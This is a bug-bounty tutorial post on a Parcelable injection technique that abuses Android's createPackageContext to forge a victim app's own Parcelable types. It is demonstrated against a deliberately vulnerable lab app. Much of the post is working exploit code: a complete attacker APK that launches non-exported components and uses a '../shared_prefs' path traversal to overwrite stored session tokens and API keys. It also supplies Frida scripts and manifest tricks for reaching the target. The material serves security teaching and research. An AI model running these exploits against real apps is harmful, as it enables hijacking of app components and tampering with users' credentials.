At Black Hat EU 2024, Dimitrios Valsamaras presented a Parcelable injection variant that bypasses one of the most common Android-side defences. The trick exploits a feature of Android’s Context.createPackageContext: any app can ask Android for another app’s ClassLoader. With that ClassLoader you can reflect the victim app’s own classes, build instances of its custom Parcelable types, and pack them into an Intent extra. The receiving app deserializes the Parcelable through its own ClassLoader (since it is its own class) and uses the attacker-controlled field values.
This is one of the freshest ways to break the standard “only trust your own Parcelable types” model. As of this writing there are almost no community write-ups, this post is my attempt to cover the chain from detection to working PoC.
The two halves of the primitive
Half one, createPackageContext with CONTEXT_INCLUDE_CODE. Any app can call:
1
2
3
4
Context victimCtx = createPackageContext(
"com.vulnlab.app",
Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
ClassLoader victimCl = victimCtx.getClassLoader();
That ClassLoader can now load any class from the victim app’s APK. Reflection works on it like any other ClassLoader, loadClass, getDeclaredField, getDeclaredConstructor. The CONTEXT_IGNORE_SECURITY flag suppresses checks that would otherwise prevent loading an app with a different signing key.
Half two, passing the loaded class as a Parcelable extra. VulnLabApp’s exported CrossAppClassLoaderActivity reads a custom UserAction Parcelable, then uses its targetActivity field directly to construct and fire the next Intent:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (intent.hasExtra("action")) {
UserAction action = intent.getParcelableExtra("action");
if (action != null) {
try {
Intent next = new Intent();
next.setClassName(getPackageName(), action.targetActivity);
next.putExtra("data", action.payloadData);
startActivity(next);
} catch (Exception e) {
tvOutput.setText("Error: " + e.getMessage());
}
return;
}
}
The receiver expects a UserAction because that is the app’s own type. When the receiver deserializes the Parcelable, it does so using its own ClassLoader, which knows the UserAction class. The attacker’s evil instance unmarshalls successfully into the receiver’s process, same type, same fields, attacker-supplied values.
The chain: attacker app uses victim’s ClassLoader to construct a malicious UserAction, packs it into an Intent extra, fires the exported activity. The activity reads the extra, sees a properly-typed UserAction, trusts every field, including targetActivity, which controls which internal activity gets launched next. Point it at a non-exported component and you reach internals the attacker could not launch directly.
The primitive this gives you is an arbitrary component launch inside the victim: targetActivity is passed straight to setClassName. Whether that turns into a concrete sink (a file write, an HTTP fetch) depends on what the relayed extras carry. In VulnLabApp the receiver only forwards a single hardcoded data extra, while the downstream FileWriteActivity acts on filename+content / type+payload / src_uri+out_path — so the bare chain reaches FileWriteActivity but lands in its no-op branch. A real escalation needs the relay (or the Parcelable’s own fields) to carry extras the sink consumes. Keep the two stages distinct: the Parcelable injection proves the launch; the sink fires only when its inputs are attacker-reachable through the relay.
Why the existing defences do not catch this
The standard advice for Parcelable injection is “validate the type”. getParcelableExtra with the new typed overload (getParcelableExtra(String name, Class<T> clazz)) is supposed to fix the older issue where Java type confusion let attackers smuggle in different Parcelable types. The defence assumes attackers cannot construct the receiver’s own custom types.
The Valsamaras chain breaks that assumption. The attacker is constructing the receiver’s own class. The type check passes, it really is a UserAction. The values inside the UserAction are attacker-supplied.
The remaining defence is “validate the field values after reading”. Most apps do not. They constructed the class, they trust it.
Spotting the targets
Two signals to grep for in the decompile:
1
2
3
4
5
6
// 1. Custom-typed Parcelable reads (not framework types)
(SomeAppDefinedClass) intent.getParcelableExtra(...);
intent.getParcelableExtra(key, SomeAppDefinedClass.class);
intent.getParcelableExtra<SomeAppDefinedClass>(...);
// 2. A class file with @Parcelize or with CREATOR fields
Filter out framework Parcelables, Intent, Bundle, Uri, Parcelable, ParcelFileDescriptor, etc. Anything matching the app’s own package or a third-party SDK is an interesting target.
The attack works best when the target Parcelable has fields the receiver uses for sensitive operations, URLs, file paths, identifiers. Look for UserAction, PushItem, NotificationData, DeepLinkPayload, ShareRequest-shaped classes.
The full attacker APK
VulnLabApp ships the attacker-side flow inside CrossAppClassLoaderActivity.simulateAttackerFlow() so you can run it without a second APK. The production PoC moves it into a standalone attacker app, split into two stages: stage one is the cross-app ClassLoader primitive (proves the arbitrary launch); stage two realizes impact by hitting the exported sink directly, since the relay does not carry the sink’s extras (see below):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class MainActivity extends AppCompatActivity {
private static final String VICTIM = "com.vulnlab.app";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
fireParcelableChain(); // stage 1: arbitrary component launch
fireDirectWrite(); // stage 2: realized file write
} catch (Exception e) {
Log.e("CCL", "attack failed", e);
}
}
// Stage 1 — the Valsamaras primitive. Reaches FileWriteActivity but
// writes nothing: the relay forwards only a `data` extra the sink ignores.
private void fireParcelableChain() throws Exception {
// 1. Borrow the victim's ClassLoader.
Context victimCtx = createPackageContext(
VICTIM,
Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
ClassLoader victimCl = victimCtx.getClassLoader();
// 2. Load the target Parcelable class from the victim's APK.
Class<?> evilType = victimCl.loadClass("com.vulnlab.app.models.UserAction");
// 3. Build an evil twin via the no-arg constructor.
Constructor<?> ctor = evilType.getDeclaredConstructor();
ctor.setAccessible(true);
Object evilTwin = ctor.newInstance();
// 4. Fill the fields the receiver trusts to build the next Intent.
setField(evilTwin, "targetActivity",
"com.vulnlab.app.activities.FileWriteActivity");
setField(evilTwin, "payloadData", "attacker-controlled-payload");
setField(evilTwin, "actionType", "write");
// 5. Pack into outer intent and fire at the exported relay.
Intent outer = new Intent();
outer.setClassName(VICTIM,
"com.vulnlab.app.activities.CrossAppClassLoaderActivity");
outer.putExtra("action", (Parcelable) evilTwin);
outer.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(outer);
}
// Stage 2 — realized impact. FileWriteActivity is exported and builds
// new File(getFilesDir(), filename) without canonicalization, so the
// `../` traversal escapes files/ and overwrites the stored credentials.
private void fireDirectWrite() throws Exception {
String forgedPrefs =
"<?xml version='1.0' encoding='utf-8' standalone='yes' ?>\n" +
"<map>\n" +
" <string name=\"session_token\">ATTACKER</string>\n" +
" <string name=\"api_key\">ATTACKER</string>\n" +
"</map>\n";
Intent write = new Intent();
write.setClassName(VICTIM, "com.vulnlab.app.activities.FileWriteActivity");
write.putExtra("filename", "../shared_prefs/auth_prefs.xml");
write.putExtra("content", forgedPrefs);
write.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(write);
}
private static void setField(Object obj, String name, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
}
createPackageContextreturns a Context backed by the victim’s APK.CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITYlets you do this regardless of signing differences.victimCl.loadClassreturns aClass<?>for the victim’sUserAction. The class metadata, methods, and fields are all accessible by reflection.getDeclaredConstructor()finds the no-arg constructor.UserActionhas one explicitly. If the class only has parameterized constructors, you usegetDeclaredConstructor(int.class, String.class, ...)matching the signature.- Reflection sets fields.
setAccessible(true)bypasses Java’s visibility check (the fields onUserActionare alreadypublic, but reflection works the same on private fields). - Standard Intent pack-and-fire. The receiver’s
getParcelableExtrareturns the malicious instance.
Stage two is a separate, blunter bug - FileWriteActivity is exported, so any app can call it directly, and its filename is not canonicalized. The Parcelable chain is what proves the novel primitive; the direct write is what gives the report a concrete, demonstrable sink. Keep them distinct in the write-up: if the relay had forwarded filename/content from the Parcelable, stage one alone would land the write and the two would collapse into a single chain.
The Android 11+ visibility wrinkle
createPackageContext requires that the calling app be able to “see” the target package. Android 11 introduced package visibility restrictions, apps can only see packages they declare in <queries> in their manifest, packages they have used directly via Intent, or packages that opted in via <intent-filter android:exported="true">.
For attacker APKs targeting API 30+, add to your manifest:
1
2
3
<queries>
<package android:name="com.vulnlab.app" />
</queries>
Or grab the broader visibility:
1
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
The QUERY_ALL_PACKAGES permission requires Play Store justification for distribution, but for bounty PoCs the side-loaded attacker APK can hold it freely.
The runtime path, Frida variant for testing
When testing on your own attached device, you can skip the attacker APK entirely and run the chain in-process via Frida. The Frida script runs inside the victim app’s process so you do not need createPackageContext, Java.use works directly on the victim’s classes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function fireWhenReady() {
Java.perform(function () {
const ActivityThread = Java.use('android.app.ActivityThread');
const app = ActivityThread.currentApplication();
if (app === null) { setTimeout(fireWhenReady, 200); return; }
const context = app.getApplicationContext();
const Intent = Java.use('android.content.Intent');
const ComponentName = Java.use('android.content.ComponentName');
const Parcelable = Java.use('android.os.Parcelable');
const EvilType = Java.use('com.vulnlab.app.models.UserAction');
const evil = EvilType.$new();
evil.targetActivity.value = 'com.vulnlab.app.activities.FileWriteActivity';
evil.payloadData.value = 'attacker-controlled-payload';
evil.actionType.value = 'write';
const outer = Intent.$new();
outer.setComponent(ComponentName.$new('com.vulnlab.app',
'com.vulnlab.app.activities.CrossAppClassLoaderActivity'));
outer.putExtra('action', Java.cast(evil, Parcelable));
outer.setFlags(0x10000000); // FLAG_ACTIVITY_NEW_TASK
context.startActivity(outer);
});
}
setTimeout(fireWhenReady, 0);
Useful for fast iteration. The attacker APK is the production PoC; Frida is the development loop.
Field discovery, when the class is obfuscated
R8 / ProGuard renames fields. Decompiled UserAction.java may show fields named a, b, c, or random hashes like f50217a. You still need to know which field controls which behaviour. Two approaches:
Static, read the readFromParcel and writeToParcel methods. The order of parcel.readString() / parcel.readInt() calls tells you the wire layout. Cross-reference with Constants.java or string-resource references in the same package.
Runtime, hook every field assignment on the class and trigger the legitimate flow once to see which field receives the URL value:
1
2
3
4
5
6
7
8
9
10
const UserAction = Java.use('com.vulnlab.app.models.UserAction');
const inst = UserAction.$new();
// Enumerate every declared field and dump its current value after the
// legitimate flow runs once — whichever holds the URL is your target.
const fields = UserAction.class.getDeclaredFields();
for (let i = 0; i < fields.length; i++) {
const f = fields[i];
f.setAccessible(true);
console.log(f.getName() + ' = ' + f.get(inst));
}
Severity discussion
The Valsamaras chain is structurally similar to standard intent injection but bypasses the most-common defence (typed Parcelable validation). Severity tracks the sink the launch reaches, not the launch itself — an arbitrary component launch with no reachable sink is low-impact on its own. Bounty triage tends to land at:
- Medium when you only prove the launch primitive (a non-exported component opens) with no attacker-controlled data reaching a dangerous sink.
- High when the malicious fields drive a sink that exposes data (HTTP fetch leaks a token, file write to an attacker-chosen path) — i.e. the relay actually carries the extras that sink consumes.
- Critical when the malicious fields control internal navigation or trigger transactional actions.
So before claiming High, confirm the receiver forwards extras the sink reads — in the VulnLabApp lab the relay’s lone data extra does not match FileWriteActivity’s expected pairs, so the bare chain stops at the launch. The “novel attack class” framing helps the report stand out. Reference the Black Hat EU 2024 talk for credibility.
Closing
If you take one thing from this post: typed getParcelableExtra is not the defence developers think it is, because the attacker can construct the type. The remaining defence is field-value validation, which almost no app does. Worth scanning every custom-Parcelable read in your target’s exported components, the chain works whenever the receiver trusts field values without validation.
Happy Hacking !!

